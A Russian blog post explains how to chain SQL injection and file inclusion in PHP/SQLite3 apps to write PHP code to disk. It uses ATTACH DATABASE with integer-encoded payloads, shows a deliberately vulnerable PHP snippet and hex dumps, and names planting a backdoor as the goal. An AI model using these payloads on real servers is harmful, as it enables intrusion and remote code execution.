Допустим, обнаружено приложение на PHP+SQLITE3. Допустим, в нем имеются уязвимости LFI+SQLINJ. В этом посте хочу описать технику позволяющую в некоторых случаях подгрузить бэкдор на уязвимый сервер.
<?php
$db = new PDO('sqlite:mysqlitedb.db');
$db->exec('CREATE TABLE foo (id integer, bar STRING)');
$db->exec("INSERT INTO foo (id,bar) VALUES (".$_GET[id].",'pwn me');");
$result = $db->query('SELECT * FROM foo');
foreach ($result as $row) {
print $row[0].' '.$row[1]."</br>\n";
};
?>
Как вы успели заметить, в четвертой строке имеется уязвимость SQL Injection. Функциональные возможности sqlite3 не дают больших преимуществ исследователю в задаче получения шелла на сервере. Тем не менее, наше приложение имеет также другую уязвимость, позволяющую инклудить произвольные и не очень файлы, осталось дело за малым создать такой файл! Sqlite3 позволяет на лету подключать файлы с базами данных:
attach database filename as mydatabasename;Самое интересное в том, что если файла с подключаемой базой данных не существует, то он будет создан. Наша задача записать в него наш шелл. Посмотрим, что представляет собой файл с данными в формате sqlite3:
0000 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 |SQLite format 3.| 0010 04 00 01 01 00 40 20 20 00 00 00 0a 00 00 00 00 |.....@ ........| 0020 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 01 |................| 0030 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 |................| 0040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 0060 00 00 00 00 0d 00 00 00 01 03 c3 00 03 c3 00 00 |..........ц..ц..| 0070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 03c0 00 00 00 3b 01 06 17 13 13 01 5f 74 61 62 6c 65 |...;......_table| 03d0 66 6f 6f 66 6f 6f 02 43 52 45 41 54 45 20 54 41 |foofoo.CREATE TA| 03e0 42 4c 45 20 66 6f 6f 20 28 69 64 20 69 6e 74 65 |BLE foo (id inte| 03f0 67 65 72 2c 20 62 61 72 20 53 54 52 49 4e 47 29 |ger, bar STRING)| 0400 0d 00 00 00 09 03 8d 00 03 ec 03 d8 03 c4 03 b0 |......-..Л.ь.д.¦| 0410 03 a9 03 a2 03 9b 03 94 03 8d 00 00 00 00 00 00 |.L.-.?.¦.-......| 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 0780 00 00 00 00 00 00 00 00 00 00 00 00 00 05 09 03 |................| 0790 01 01 01 01 05 08 03 01 01 01 01 05 07 03 01 01 |................| 07a0 01 01 05 06 03 01 01 01 01 05 05 03 01 01 01 01 |................| 07b0 12 04 03 01 29 01 54 68 69 73 20 69 73 20 61 20 |....).This is a | 07c0 74 65 73 74 12 03 03 01 29 01 54 68 69 73 20 69 |test....).This i| 07d0 73 20 61 20 74 65 73 74 12 02 03 01 29 01 54 68 |s a test....).Th| 07e0 69 73 20 69 73 20 61 20 74 65 73 74 12 01 03 01 |is is a test....| 07f0 29 01 54 68 69 73 20 69 73 20 61 20 74 65 73 74 |).This is a test| 0800
Удивительно, но интерпретатор PHP нормально его переваривает, если сделать ему include. Теперь наша задача - поместить в файл php-код. Для этого нам необходимо сформировать некую структуру, которая в формате sqlite3 выглядела бы как валидный php-код. Поскольку в файлах хранятся данные таблиц и их описания, то другого выхода у нас нет, кроме как создать свою таблицу и в качестве данных записать в неё php-код. Дабы не иметь проблем с экранированием кавычек, создадим таблицу с данными типа INTEGER. Код будет следующий:
attach database [/tmp/smkchk46187290] as smkchk46187290; create table smkchk46187290.smkchk ( x0 integer, x1 integer); insert into smkchk46187290.smkchk values (808464488, 1701604463);В результате появится файл с следующим содержанием:
0000 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 |SQLite format 3.| 0010 04 00 01 01 00 40 20 20 00 00 00 02 00 00 00 00 |.....@ ........| 0020 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 01 |................| 0030 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 |................| 0040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 0060 00 00 00 00 0d 00 00 00 01 03 b9 00 03 b9 00 00 |..........¦..¦..| 0070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 03b0 00 00 00 00 00 00 00 00 00 45 01 06 17 19 19 01 |.........E......| 03c0 67 74 61 62 6c 65 73 6d 6b 63 68 6b 73 6d 6b 63 |gtablesmkchksmkc| 03d0 68 6b 02 43 52 45 41 54 45 20 54 41 42 4c 45 20 |hk.CREATE TABLE | 03e0 73 6d 6b 63 68 6b 20 28 20 78 30 20 69 6e 74 65 |smkchk ( x0 inte| 03f0 67 65 72 2c 20 78 31 20 69 6e 74 65 67 65 72 29 |ger, x1 integer)| 0400 0d 00 00 00 01 03 f3 00 03 f3 00 00 00 00 00 00 |......С..С......| 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 07f0 00 00 00 0b 01 03 04 04 30 30 30 68 65 6c 6c 6f |........000hello|Слово hello, наших рук дело. Подобным образом записанный файл, содержащий phpinfo(), будет выглядеть следующим образом:
<...> 07e0 00 00 00 00 1a 01 06 04 04 04 04 04 30 30 3c 3f |............00<?| 07f0 70 68 70 20 70 68 70 69 6e 66 6f 28 29 3b 3f 3e |php phpinfo();?>|А sql-код будет такой:
attach database [/tmp/smkchk93313515] as smkchk93313515; create table smkchk93313515.smkchk ( x0 integer, x1 integer, x2 integer, x3 integer, x4 integer); insert into smkchk93313515.smkchk values (808467519, 1885892640, 1885892713, 1852206888, 691748670);Теперь используя LFI-уязвимость мы инклудим наш файл и получаем вывод phpinfo(). К посту приложен скрипт, генерирующий sql-код для произвольного php-кода.
NB1: Во избежание применения кавычек для обозначения имен файлов при создании таблиц в sqlite3 были использованы квадратные скобки (кредитсы уходят Марату).
NB2: Так же стоит отметить, что последовательные sql запросы возможны (кредитсы опять уходят Марату), но только в случае вызова из php-функции exec.
Leave a comment